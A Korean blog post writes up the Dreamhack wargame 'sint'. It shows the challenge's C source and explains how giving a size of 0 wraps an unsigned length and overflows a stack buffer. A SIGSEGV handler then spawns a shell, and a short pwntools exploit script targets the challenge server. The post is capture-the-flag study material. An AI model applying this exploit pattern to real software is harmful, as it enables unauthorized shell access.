TIL: Type Error

Wargame: sint

문제의 소스 코드는 아래와 같다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);

    return 0;
}

Vulnerability Scanning

  • checksec

  • read(0, buf, size - 1);에서 size의 값을 잘 입력하면 BOF를 일으킬 수 있다.
    • size의 값이 size > 256 || size < 0일 것을 요구하고 있으나, type casting으로 인해 생기는 underflow를 활용하면 size를 256보다 큰 값으로 설정할 수 있다.
  • signal(SIGSEGV, get_shell);Segmentation fault가 일어나면 get_shell을 실행하므로 seg fault만 발생시키면 shell을 획득할 수 있다.

Underflow

이 문제는 size > 256 || size < 0이라는 조건문으로 size의 값을 제한하고 있으나, size를 0으로 줄 경우 size를 256보다 큰 값으로 설정할 수 있다.

read의 형태는 ssize_t read (int fd, void *buf, size_t nbytes)으로, size size_t로 cast함을 알 수 있다. 이때 size_tunsigned int이므로, size를 0으로 주면 size - 1, 즉 -1이 unsigned int로 cast되고, 이 값은 곧 UMax가 된다. → BOF를 일으킬 수 있다.

Exploit

from pwn import *

#p = process("./sint")
#gdb.attach(p)
p = remote("host3.dreamhack.games", 8302)

p.sendlineafter("Size: ", "0")

p.sendafter("Data: ", b"A"*(0x100 + 0x60 + 0x8 + 0x8))

p.interactive()
  • gdb를 이용해 stack frame의 구조를 파악한 후 main의 return address에 dummy 값인 “AAAAAAAA”를 입력한다. → Seg fault가 발생해 shell을 획득할 수 있다.

Categories: ,

Updated:

Leave a comment